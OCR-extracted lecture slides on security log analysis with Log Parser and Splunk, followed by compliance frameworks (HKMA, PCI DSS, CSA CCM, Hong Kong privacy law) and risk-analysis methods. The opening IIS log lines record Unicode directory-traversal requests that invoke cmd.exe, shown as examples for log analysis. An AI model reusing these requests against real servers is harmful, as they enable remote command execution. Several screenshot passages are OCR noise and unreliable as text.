- W3SVC1 SERVERL 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/scripts/.. %e0%80 %af../winnt/syste m32 /cmd.exe?/c+dir 200 00 69 80 HTTP/1.0 - -

- W3SVC1 SERVER1 10.2.1.2 GET /secure/under _construct.asp 404;http://10.2.1.2/scripts/..% f0%8 0%80%a f../ win nt/syste m32/ cmd. exe? /c+dir 20000 72 80 HTTP/1.0- -
- W3SVC1 SERVER1 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/scripts/.. %f8% 80%80% 80%af  ../winnt/system32/cmd.exe?/c+dir 20000 75 80 HTTP/1.0 - -
- W3SVC1 SERVER1 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/scripts/.. %fc%80% 80%80% 80%a f../winnt/sy stem32/cmd.exe?/c+dir 200 0078 80 HTTP/1. O --

- W3SVC1 SERVER1 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/msadc/..% e0%80% af../..%e0% 80%a f../.. %e0%80 %af../winnt/syste m32 /cmd.e xe?/ c+dir

200 009t



Available Tools




MS Log Parser

Versatile tool which provide query to text-based data

Free tools provided by Microsoft
Query result can be output to text-based file, SQL and SYSLOG

Supporting XML, CSV, Windows Event Log and Registry
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Splunk

*Engine for monitor and analyze machine data

*Index data from Web Server/OS log
*Provide quick search and log correlation feature

*Scalable architecture for log analysis

Security Application
Infrastructure Data Activity Data
in
B - -
- >
& L
Y ) Y
P Tt
@: ‘8
Host Activity Data User Activity Data
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Reporting Examples From
Solunkl ive

Report Builder - Search - Splunk 4.2 (95570)
® localhost:8000/en-US/app/search/report_builder_format_report?base_sid=1299093588.185&sid=1299093588.185

0606 Report Builder - Search - Splunk 4.2 (95570)
® localhost:8000/en-US/app/search/report_builder_format_report?base_sid=1299093801.187&sid=1299093801.187

1: Define report content > 2: Format report

B NS T

v/Chart 1: Define report content > 2: Format report

|
|
|
|
|
|
|
B T S ST |
|
|
|
|
|
|
|
|
|
|

» Formatting options

120PM 130PM 140PM 150 PM 200PM

250

v Chart

» Formatting options

Report Builder - Search - Splunk 4.2 (95570)
rmat_report?base_sid=1299093716.186&sid=1299093716.186

count of events.

o
§ 10 —— apacheqt splnkcom
2; apache-2splunk com
? —— apache splnkcom
1000
Wed Mar2
M
time 50

—

* Use wizard or reporting commands (timechart, top,
* Build real-time reports with real-time searches
» Save reports for use on dashboards
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Dashboard Examples From

C [ ]
l/'\ll ll/'\III I\ 7 I\

Environment State - Application Management - Splunk 4.2 (95570) e

N\ N
L ») ‘\g/‘ (¢ ) (. http://localhost:8000/en-US/app/appmgmt/env_state

1 [+7

Environment State - Application

splunk

Operational Visibility - Application Management - Splunk 4.2 (95570)

About +  IT Operations + tive Dashb

D w:w w:/w | http://localhost U D visibility

Environment State | Actions +

End-to-End Average Transaction Duration

[ tracing transactions rom web servers, though app database.

0006

Operations »  Executive Dashboards

Operational Visibility - System Monitoring - Splunk 4.2 (95570) (@)

|_visibility_

Operational Visibility | Actions +

Web Servers reffeshed: today at 258:53PM. | App Servers | Today's SLA Infractions roffeshed: today at 25T:13PM. | Today's Falled Purchases
Average web server transaction duration in ms over the last 5 minutes. Average applici | Number of Service Level Agreement inractions such s failed or lengthy transactions Number offailed purchase transactions via web or phone splunk
over the past 24 hous. hours.

Search  Dashboa jows +  Searches & Repo

Operational Visibility | Actions v

Web Server CPU - Avg Across Hosts

Web Servers - Avg Duration reffeshed: today at 2:85:55PM. | App Servers 1
Real-Time Transaction Volume
Average web server transaction duration over the last 60 minutes. Average applic
Real-Time Transaction Volume
100 3w |
© I w 120 View resuls
- H u
200PM 220PM 240PM &
Wed Feb 23 Web Server Memory - Avg Across Hosts
2 % . E—
[
Time
257:40 PM 25745PM 257:50 PM 257:55
Wed Feb 23
—— apache-1.splunk.com apache-2.splunkcom 2011
—— apache-3.splunk com
Time
"
|
SLA Infractions refreshed: today at 2:57:14 PM. Transa
‘Transactions out of SLA over the last 60 minutes. Succesf

WNWW VSN View results
" 1

Average Disk Usage Across Hosts

=100
=90
—-80

L

refreshed: today at 2:55:15 PM. Web Server CPU - Last 15 Min refreshed: today at 2:54:56 PM.

—— apache-1.sphinkoom
apache-2.sphinkoom
—— apache-d.sphinkcom

240PM 245PM 250PM
Wed Feb 23
2011

time

View results

refreshed: today at 2:55:15 PM. Pageviews refreshed: today at 2:54:56 PM.

%

count of events
8 &

|
15 |
|
|
240PM 245PM 250PM |
Wed Feb 23 |
2011
v
time
View resuits
refreshed: today at 2:54:56 PM.  HTTP Status refreshed: today at 2:54:56 PM.
Bad Request
Not Found "
i
Not Acceptable M
/)
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Getting Data Into Splunk (from
SplunkLive)




Other Log Analysis Utilities

Snare BacklLog

Lasso

Loggly

Logminer




Compliance and
Risk Analysis




HKMA Guidance Notes (As
example

¥) Guidelines and Circulars - Mozilla Firefox -[af x|
File Edit Vew History Bookmarks Tools Help

= WHoIs?
HKMA Guidelines P

| ) v c X Y IC] |http:waw.info.gov.hk.fhkmafeng}'guidefcircu_dateIZUDDU926_index.htm ﬁj v '

Most Visited ] Welcome to Gmail "¥? Yahoo! Mail - The bes... C’l Department of Comp... C] Cityl WebMail 2.0 [:] Microsoft Outlook We... C’l QSYDB: The Open So... >

Proxy: INone 'I ' apply & Edit L&) Remove [ Add Status: Using None ¥, Preferences

4-|Mai| I ] ewalker Co... I Cc ricci@scshk....] _é Google Docs.,.l =] ewalker Co... I + | SearchRe... ] + The COSO ... I 8 "e-banking" I C‘] Electronic B... ] (j Guidel... &3 ] P~

HONG KONG MONETARY AUTHORITY
HOME | %REpX=H | HfkhxER | SITE DIRECTORY | CONTACT US | FAQ

GUIDELINES AND CIRCULARS

WHAT'S
NEW?

ABOUT
THE HKMA

POLICY
AREAS

Dear Sir / Madam,

INFORMATION

Guidance Note on Independent Assessment
CENTRE Guidance Note on Independent Assessment

of Security Aspects of Transactional E-banking Services

A :
O/ viewpoint [ As mentioned in our circular entitled Electronic Banking of 7 July 1997 and the Guidance Note on Management of
Security Risks in Electronic Banking Services of 6 July 2000, the senior management of authorized institutions
Q SEARCH are expected to commission periodic independent assessments of the security aspects of their transactional ——
- » e-banking services delivered through the internet and/or wireless communication networks. To demonstrate that
security risks in transactional e-banking services have been properly managed, institutions are expected to
e submit the independent assessment reports to the HKMA for reference. In this connection, I enclose for your
reference the Guidance Note on Independent Assessment of Security Aspects of Transactional E-banking
Services, which sets out the expected scope of assessment and provides general guidance on selecting the
assessors and on the types of information to be included in the independent assessment reports.

In developing the enclosed Guidance Note, the HKMA has considered the comments of the Members of the
Study Group on Electronic Banking as well as industry practitioners with experience in conducting independent
assessments. While the Guidance Note contains specific recommendations in certain aspects, these
recommendations should not be viewed as mandatory requirements or rigid standards. They are generic in |

X Find: IHFE & next @ Previous & Highlight all |~ Match case
Done rﬁ Profile1 I FoxyProxy: Disabled @EE' 202.128.227.99 ] Proxy: None
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HKMA Expectation on e-

Ranking

Board and senior management oversight

To develop e-banking sirategy. risk management process and security policy

Periodic
monitoring

The HKMA
monitors
periodically
Als e-
hanking
services

19/11/2015

Independent
assessment

Major technology-related Customer security & other
controls risk management controls
Authentication of customers Consumer protection
Confidentiality and integnity Administration of e-banking accounts
of information
Application security Controls over fund transfers

Internet infrastructure and

Monitoring of unusual activities

Cutsourcing management

security menitoring
Incident response and management Preventive conirols relating to
fake e-mails or websites
Business continuity considerations Customer educaticn
Legal and reputation

risk management

Als submit
independent
assessment
reports to the

HKMA




History of PCI

PCl security standards

> Technical and operational requirements that were created
to help organizations that process card payments prevent
credit card fraud, hacking and various other security
vulnerabilities and threats

Timeline

> 15t December 2004 — Alighment of companies security
policy as PCI DSS first document

o September 2006 — Release of PCl standard v1.1
o 15t October 2008 — Release of PCl standard v1.2
o 315t December 2008 — Expiry of PCl standard v1.1
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PCl Data Security Standard
DSS

Goals PCI DSS Requirements

1: Installand maintain a firewall configuration to protect cardholder data

1  Build and Maintain a Secure Network 2: Do not use vendor-supplied defaults for system passwords and other
security parameters

3: Protectstored cardholder data

2 Protect Cardholder Data 4: Encrypttransmission of cardholder data across open, public networks

Maintain a Vulnerability Management 5: Use and regularly update anti-virus software or programs

3 Program 6: Develop and maintain secure systems and applications
7: Restrict access to cardholder data by business need-to-know

4 Implement Strong Access 8:  Assigna uniquelDto each person with computer access

Control Measures 9:  Restrict physical access to cardholder data

_ 10: Track and monitor all access to network resources and cardholder data
5 Regularly Monitor and Test Networks 11: Regularly test security systems and processes
o _ . . 12: Maintain a policy that addresses information security for employees and

6 Maintain an Information Security Policy contractors
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Cloud Controls Matrix

Cloud Service Delivery

1 Control Model Applicability

Scope Applicability

Control Area D Control Specification Control Revisions v1.1 . |
SaaS  PaaS  laas o Vice Tenant COBIT 4.1 HIPAA / HITECH Act ISOMNEC 27001-20
5 Provider
Compliance - Audit Audit plans, activities and operational action [No Change COBIT 4.1 ME2.1, |45CFR 164.312(b) Clause 423 ¢)
Planning items focusing on data duplication, access, ME22P0S.5P0 Clause 4.2.3b
and data boundary limitations shall be 96 Clause 5.1 g
designed to minimize the risk of business Clause 6
process disruption. Audit activities must be A15.31
planned and agreed upon in advance by
3 stakeholders.
Compliance - C0-02 |Independent reviews and assessments No Change COBIT 4.1 DSS.5, |45 CFR 164.308 (a)(8) Clause 4.2.3e
Independent Audits shall be performed at least annually, or at ME2.5, ME 3.1 PO |45 CFR 164.308(a)(1)(ii)(D) Clause 5.1 g
planned intervals, to ensure the 96 Clause 5.2.1 d)
organization is compliant with policies, Clause 6
procedures, standards and applicable AB138
regulatory requirements (i.e.,
internalexternal audits, certifications,
vulnerability and penetration testing)
4
Compliance - Third CO-03 |Third party service providers shall No Change COBIT 4.1 ME 2.6, |45 CFR 164.308(b)(1) (New) AB23
Party Audits demonstrate compliance with information DS21,D524 A10.21
security and confidentiality, service 45 CFR 164.308 (b)(4) A1022
definitions and delivery level agreements A106.2
included in third party contracts. Third party
reports, records and services shall undergo
audit and review, at planned intervals, to
govern and maintain compliance with the
service delivery agreements.
5
Compliance - Contact|] CO-04 |[Liaisons and points of contact with local No Change COBIT 4.1 ME 3.1 AB.186
! Authority authorities shall be maintained in ABAT
Maintenance accordance with business and customer
requirements and compliance with
legislative, regulatory, and contractual
requirements. Data, objects, applications,
infrastructure and hardware may be
assigned legislative domain and jurisdiction
to facilitate proper compliance points of
5 contact.
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Consensus Assessment
Initiative

nghtwelght 1 Control ID Consensus Assessment Questions
o" R (Cloud-Specific Control Assessment)
Common

Control Area

2
AS sessme nt Compliance - Audit Planning C0-01 C0-01a - Do you produce audit assertions using a structured, industry accepted format (ex. CloudAudit/A6 URI Ontology, CloudTrust, SCAP, ISACA's
. - ) 3 Cloud Computing Management Audit/Assurance Program, etc.?)
C r I t e rl a CO n Ce pt Compliance - Independent Audits C0-02 C0-02a - Do you allow tenants to view your SAS70 Type WSSAE 16 SOC2/ISAE3402 or similar third party audit reports?
CO0-02b - Do you conduct network penetration tests of your cloud service infrastructure regularly as prescribed by industry best practices and
guidance?
C0-02c - Do you conduct application penetration tests of your cloud service infrastructure regularly as prescribed by industry best practices and
guidance?
C0-02d - Do you conduct internal audits regularly as prescribed by industry best practices and guidance?
. h 4 C0-02¢ - Do you conduct external audits regularly as prescribed by industry best practices and guidance?
I n t eg rat ed W I t Compliance - Third Party Audits C0-03 C0-03a - Do you permit tenants to perform independent vulnerability assessments?
Co nt ro I S M at I"IX 5 CO0-03b - Do you have an external third-party conduct vulnerability scans and periedic penetration tests on your applications and networks?
Compliance - Contact / Authority COo-04 C0-04a - Do you maintain liaisons and points of contact with local autherities in accordance with contracts and appropriate regulations?
6 Maintenance
Compliance - Information System CO0-05 C0-05a - Do you have the ability to logically segment or encrypt customer data such that, in the event of subpoena, data may be produced for a single
Regulatory Mapping tenant only, without inadvertently accessing another tenant's data?
7 CO0-05b - Do you have capability to logically segment and recover data for a specific customer in the case of a failure or data loss?
Compliance - Intellectual Property CO0-06 C0-06a - Do you have policies and procedures in place describing what controls you have in place to protect tenants intellectual property?
V 1 2 CA 1 CO-06b - If utilization of tenants services housed in the cloud is mined for cloud provider benefit, are the tenants IP rights preserved?
* . . 8 CO-06c - If utilization of tenants services housed in the cloud is mined for cloud provider benefit, do you provide tenants the ability to “opt-out™?
Qu eSt I O n n a I re Data Governance - Ownership / DG-01 DG-01a - Do you follow a structured data-labeling standard (ex. ISO 15489, Oasis XML Catalog Specification, CSA data type guidance?)
with o EENEE
. Data Governance - Classification DG-02 DG-02a - Do you provide a capability to identify virtual machines via policy tags/metadata (ex. Tags can be used to limit guest operating systems from
a p p rOXI m ate 1 40 booting/instanciating/transporting data in the wrong country, etc.?)
r H d r DG-02b - Do you provide a capability to identify hardware via policy tags/metadata/hardware tags (ex. TXT/TPM, VN-Tag, etc.)?
p OVI ~ e DG-02c - Do you have a capability to use system geographic location as an authentication factor?
q u est | 0 n S to DG-02d - Can you provide the physical location/geography of storage of a tenant's data upon request?
DG-02¢ - Do you allow tenants to define acceptable geographical locations for data routing or resource instantiation?

Identlfy the b Data Governance - Handling / Labeling|  DG-03
presence of al -

H t t I Data Governance - Retention Policy DG-04 DG-04a - Do you have technical control capabilities to enforce tenant data retention policies?
S eC U rl y CO n rO S 12 DG-04b - Do you have a documented procedure for responding to requests for tenant data from governments or third parties?
O r p ra Ct | Ces Data Governance - Secure Disposal DG-05 DG-05a - Do you support secure deletion (ex. degausing / cryptographic wiping) of archived data as determined by the tenant?
13 DG-05b - Do you have the ability to sanitize all computing resources of tenant data once a customer has exited your environment?
Data Governance - Non-Production DG-06
14 Data
Data Governance - Information DG-07 DG-07a - Do you have controls in place to prevent data leakage or intentional/accidential compromise between tenants in a multi-tenant environment?
Leakage DG-07b - Do you have a "Data Loss Prevention” (DLP) or "extrusion prevention” solution in place for all systems which interface with your cloud
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Summary of Other
Compliance

Regulations Affected Industry Summary Penalties for Non-
Compliance
SEC 17a-4 Securities Retain customer correspondence for up to 6 Unspecified fines; fines and
yrs imprisonment
NASD Rules 3010 & Securities Retain customer correspondence for up to 6 Unspecified fines
3110 yrs
Sarbanes-Oxley Public Corp. Best practice to retain all documents & e-mail | Fines to US$5 million & 20

messages to show accountability

yrs imprisonment for
destroying e-mail messages

Gramm-Leach Bliley

Financial Institutions

Requires protection of nonpublic personal
information for outside distribution

Finesandupto 5 yrs
imprisonment

California Privacy Law
(SB 1386)

Any company doing
business with California
residents

Requires protection of nonpublic personal
information and notifications of compromise

Civil action allowed for any or
all “injured” customers

HIPAA Medical Patient privacy and to ensure document Fines to $250k and
confidentially and integrity imprisonmentupto 10 yrs
ISO17799 Could be a requirement | Guidelines to monitor and protectinformation | Potential damage to
for Cyber-liability infrastructure corporate reputation or
insurance insurability
USA Patriot Act Broad definition of Laws require information disclosureto help Fines and imprisonment
financial institutions protect against money laundering for
within the US terrorism
PIPED C-6 Fines up to US$100k
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Summary of Extracted
compliance requirements

e — e T

Data classification

Senders identification

Transmission protection (in motion)
Encryption (at rest)

Server hardening

Message tracking and logging

XX X X X X

Auditing

XXk K X

Message indexing, archiving and retention

XX X X X X X X X

Access Control

Content filtering X
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Privacy




PCPD

The Office of the Privacy Commissioner for Personal Data (PCPD) is an
independent statutory body set up to oversee the enforcement of the
Personal Data (Privacy) Ordinance (Cap. 486) ("the Ordinance") which came
into force on 20th December, 1996

Have their personal data collected in a manner which is lawful and fairand
to be informed of the purposes for which the data areto be used

Consenttoa change of use of the data

Have their personal data kept accurate, up-to-date, secure and for no longer
than necessary

Obtain a copy of their personal data held by a data userand to require
correction of any inaccuracy

Ascertain a data user’s personal data policy and practices
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Six Data Protection Principles

Principle 1 -- Purpose and manner of collection

o This provides for the lawful and fair collection of personal data and sets out the information a data user must
give to a data subject when collecting personal data from that subject

Principle 2 -- Accuracy and duration of retention
o This provides that personal data should be accurate, up-to-date and kept no longer than necessary

Principle 3 -- Use of personal data

o This provides that unless the data subject gives consent otherwise personal data should be used for the
purposes for which they were collected ora directly related purpose

Principle 4 -- Security of personal data

o This requires appropriate security measures to be applied to personal data (including datain a formin which
access to or processing of the data is not practicable)

Principle 5 -- Information to be generally available

o This ﬁrovides for openness by data users about the kinds of personal data they hold and the main purposes for
which personal dataareused

Principle 6 -- Access to personal data
o This provides for data subjects to have rights of access to and correction of their personal data
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Risk Analysis and
Management




Concept Flow

Value
OwnerS Wish to minimize
impose
To reduce
Safeguards That may
process
That may be
reduced by R Y
may be aware of Vulnerabilities
Leading to !
That
Threat Agents exploit g Risk
Giverise to That !
increase To
»  Threats . Assets

Wish to abuse and/or may damage
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Open Security Architecture

Business .
— - dent .
is achieved through Process impact Inciden remebtilated

informs crystallize
& to Response

Risk

linforms
runs on affect
Enterprise Architecture T» Solution Architecture
guides

Threats Vulnerabilities

Business Strategy

IT Strategy

includes guides instanciates to
. . d ha?.
Security Architecture \“”S" specific
(patterns)

LLanhave | T System
and Data Assets

. ﬁlrotect
Policies

(Principles and Objectives) e ContrOIs\\friﬁe .

are
included in

inform require TeStS
provide
supplemented \
: by Evidence
Laws and regulations
wied to
Standards and Certify

OSA s licensed according to Creative Commons Share-alike. g Uldance
Please see:http://www.opensecurityarchitecture.org/cms/about/license-terms.
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Typical Risk management
process

19/11/2015

The Risk Management Process

Interface to other operational and product processes

Corporate
Risk Management
Strategy

Framework for the
management of risks

Ioeﬁnm'on of External Environmenll

[Deﬁnmon of Internal Environment I

Generation of Risk
Management Context

| Formutation of Risk Criteria |

¢

Risk Assessment

Definition of Scope and b | identification of Risks |

| Analysis of relevant Risks|

[ Evaluation of Risks |

Risk Treatment

Identification of options I

=

I Development of action plan I

I Approval of action plan I

Iimplememauon of action plan I

Ildemlﬁcau‘on of residual Risksl

pi

Risks Communication
Risks Awareness

Consulting
(all aspects included in the interface
with other operational or product processes)

Acceptance [/

Recurrence

[]Longterm
[ ] Middie term

Monitor and Review (plans, events, quality)

D Short term




Risk management
methodology

RG and RE Domains more precisely
* RG1.2 Propose ITrisk tolerance,
* RG2.1 Establish and maintain accountability for IT risk

management

* RG2.3 AdaptIT risk practices to enterpriserisk practices,
Context Organizational * RG2.4 Provide adequate resources for IT risk management,
establishment  context * RE2.1 Define IT risk analysis scope.

RE2 process includes:
* RE2.1 Define IT risk analysis scope.
* RE2.2 Estimate IT risk.
* RE2.3 Identify risk response options.
* RE2.4 Performa peer review of IT risk analysis.
In general, the elements as described in the ISO 27005 process
areall included in Risk IT; however, some arestructured and
Risk assessment Risk assessment Risk assessment named differently.
Risk treatment

and management * RE 2.3 Identify risk response options
Risk treatment  decision making Risk mitigation * RR2.3 Respond to discovered risk exposure and opportunity
Risk acceptance RG3.4 Accept IT risk

Ongoingrisk * RG1.5 Promote T risk-aware culture
Risk management * RG1.6 Encourage effective communication of IT risk
communication activities * RE3.6 Develop IT risk indicators.
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Risk management
methodology (Cont.

* RG2 Integrate with ERM.

* RE2.4 Performa peer review of IT risk analysis.
Risk monitoring Evaluation and * RG2.5 Provideindependent assurance over IT risk
and review assessment management
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Purpose of Risk Analysis

Quantify the impact of potential threats
° to put a price or value on the cost of a lost business functionality

Priorities the tasks
o Determine the roadmap

° Define the budget

Focus on resources requiring protection most

Cost/Benefit of Countermeasures
o Creation of Risk Mitigation Strategy
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Risk Analysis Steps

P|onning D VD VU
Asset Threat Vulnerability

Information
gathering

Asset valuation

Risk analysis .

Threat likelihood,

Safeguards ImiOd

Risk estimation

Implementation,
monitoring
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Typical Enterprise Risk of
organization

Enterprise Risk Management
Reputation Risk

Strategic Risk

| < MaterialsiSupplies

Exposures <

" IT \\,

\ I -
[EA]
{[Awoer]
Specialists < ‘_
y_Securty ]
[_Sourdng ]
[ Compliance ]
[ Supply Chain_]

From Gartner “A Risk Hierarchy for Enterprise and IT Risk Managers” G00206243
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Threats Example

Physical damage

Human error

Equipment malfunction
Inside and outside attacks
Misuse of data

Loss of data

N o kRN RE

Application errors
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Threats Classification and
Measurement

Threat is the potential for an attack not a measure of the success of an
attack

Depends on:
° Loss per event
> Frequency of occurrence
o sophistication of the attack
o hostility of the attack
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Threats Classification

Should be focus on time, resources on loss, frequency of threats

Can be classified into 4 groups

High loss per event
High frequency of occurrence

High loss per event
Low frequency of occurrence

Low loss per event
High frequency of occurrence

Low loss per event
Low frequency of occurrence
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Risk Assessment and
Management

Asset Threats Vulnerabilities
Accountant Absentfora | No documentedaccounting systems
long time

Only accountant knows the password
of the accounting systems

Dishonest No documented accounting systems

No internal audit

19/11/2015




Overview of Risk Analysis

Quantitative Risk Analysis
Qualitative Risk Analysis
Asset Valuation Process

Safeguard Selection
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Quantitative Risk Analysis

Attempts to assign independent objective numeric values (e.g. dollars)

to components of the risk assessment and to assessment of potential
losses

Addresses more intangible values of a data loss

Focuses on other issues, rather than purse hard costs
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Risk Analysis Formula

Annualized Loss Expectancy (ALE) =
Single Loss Expectancy (SLE) x Annualized Rate of Occurrence (ARO)
> Single Loss Expectancy (SLE) =
Asset Value x Exposure Factor (EF)

o Exposure Factor (EF) =
% of asset loss caused by threat

o Annualized Rate of Occurrence (ARO) =
Frequency of threat occurrence per year

19/11/2015




Risk Analysis Formula (Cont.)

3 risk attributes in Risk Assessment include:
o Asset Value (A)

> Relative importance of information on a computer or network
o Threat (T)
° Quantifying an organization’s concern regarding the types of attacks that may occur

> Vulnerability (V)

o Actual measure of the potential damage

Relative Risk =AxV xT
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Information Asset Value (A)

Number that describes the relative value of the information and
resources

Based on the accepted measures of asset
o Confidentiality (C)

o Availability (A)
° Integrity (I)

Asset Value=C+ A + |
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Vulnerability Evaluation

Depends on:
o Opportunity for a damage or loss to occur on the system

o Asset value to be affected

For Example:
o Unauthorized access to the root account vs. user account
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Quantitative Risk Analysis

Categories of Threats
o Data Classification

° Information Warfare

o Personnel

o Application and Operational
o Criminal

° Environmental

o Computer Infrastructure

> Delayed Processing
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Quantitative Risk Analysis
(cont’d)

Results
o Valuations of the critical assets in hard costs
A detailed listing of significant threats

(o]

o

Each threat’s likelihood and its possible occurrence rate

(o]

Loss potential by a threat — the dollar impact the threat will have on an asset

o

Recommended remedial measures and safeguards or countermeasures

Remedies
o Risk Reduction

o Risk Transference
o Risk Acceptance
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Qualitative Risk Analysis

Attempts to use grading, ranking to components of risk assessment and
to assessment of potential losses

Addresses seriousness of threats and relative seriousness

Actual cost is not included
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Risk Treatment

*Risk may be reduced/mitigated through additional controls:
> Avoided

Transferred

(o]

o

Vulnerabilities reduced

(o]

Impacts reduced

o

Recovery from unwanted events
*Risk may be accepted

*The selection of controls mitigates unacceptable risk
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Risk Treatment

*24x7 management and monitoring services
° Firewall, router and server remote management
° Firewall, router and server monitoring and log analysis
° Intrusion Detection and Monitoring

*Incident handling and investigation services

e Qutsource security management
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Risks Assumptions

In practice, risk is based on the configuration of network infrastructure
o Whether data is classified
> Network segmentation for internal/external network

o Password and data transmission
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Risk Calculations

Depends on
o Cost/Benefit Analysis
Vulnerability Descriptions

(o]

o

Vulnerability Impact Analysis

(o]

Vulnerability Frequencies

o

Asset Priority Ratings

[¢)

Vulnerability Priority Ratings
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The Threat Modelling Process

1. Identify Assets '
2. Create an Architecture Overview '
3. Decompose the Application '
4. Identify the Threats '
5. Document the Threats '
6. Rate the Threats '
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Microsoft
STRIDE

Use STRIDE in several scenarios
to identify the categories of
threat

https://msdn.microsoft.com/en-
us/library/ee823878(v=cs.20).as

PX
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McCumber Cube

Iiggllished in “Information Systems Security: A Comprehensive Mode

I”

in October

Supported by National Security Telecommunications and Information Systems
Security Committee (NSTISSC)

Use the McCumber Cube Model
o Critical Information Characteristics
o Confidentiality
° Integrity
o Availability
° Information States
o Transmission
o Storage
o Processing
o Security Measures
o Education, Training, Awareness
° Policy and Practices
o Technology
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Input Risk Assassment Activities Output

(e Hardware B Step 1. o Systam boundary

— o Software System charactertzation 7| * Systam functions
* Systom Interfaces * Systom and daa
* Daza and Information crivicality

oPmph -Symm:ndd:u

\-S)sm mission

A

\

|
¥
~

. . . . P - Threat identfication
Thisis the “Risk Management Gu”|defqr Py o
Information Technology Systems” and is e NPCOG, [ — o —
considered a U.S. federal government . pdere
standard ey e |
- syrminet | ot aonad ol
Specificto IT threatsand how they relate —= ’
to information security risks. It [ays out el s
the following steps: —— V[ tethood dearmeacon "
o System characterization " Nare of by [ ,
S . . . \* Currunt controks J Stap 6. Impact analysis
Threat Id-e-ntlf:lcatlo-r-l . P ere— r——
> Vulnerability identification [ ey s B v
o Control analysis P —
. . . . (+ Likathood of hraae ) Step 7 Risies and
o Likelihood determination et | Rk dotarmeazon assochtad sk lovds
° Impact analysis (o s ,
° Risk determination Contral recammendations e
o Control recommendations
> Results documentation Resits doamaraton

From NIST SP800-30 for Risk Management
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Risk Management Maturity

« Compliance-
focused

+ Specialized, single
mandate

* Check-the-box
mindset

* Internally,
response-focused
(e.g., IDS, fraud
identification and
continuous
monitoring)

* Multiregulatory
» Control-focused
+ Asset-based

Predictive Adaptive
« Externally, Change-focused
preventive-focused Risk indi
(e.g., DAP, SOD "r:f(e(""to""aw's
and risk analytics) performance
« Data-driven, metrics
informative =
More resilient, less
» Risk boundaries redundant
extended to key
vendors and other E erfodrmance-
third parties aee

* Process-based

If you are managing your risks effectively, then your compliance
requirements will be met — not the other way around.
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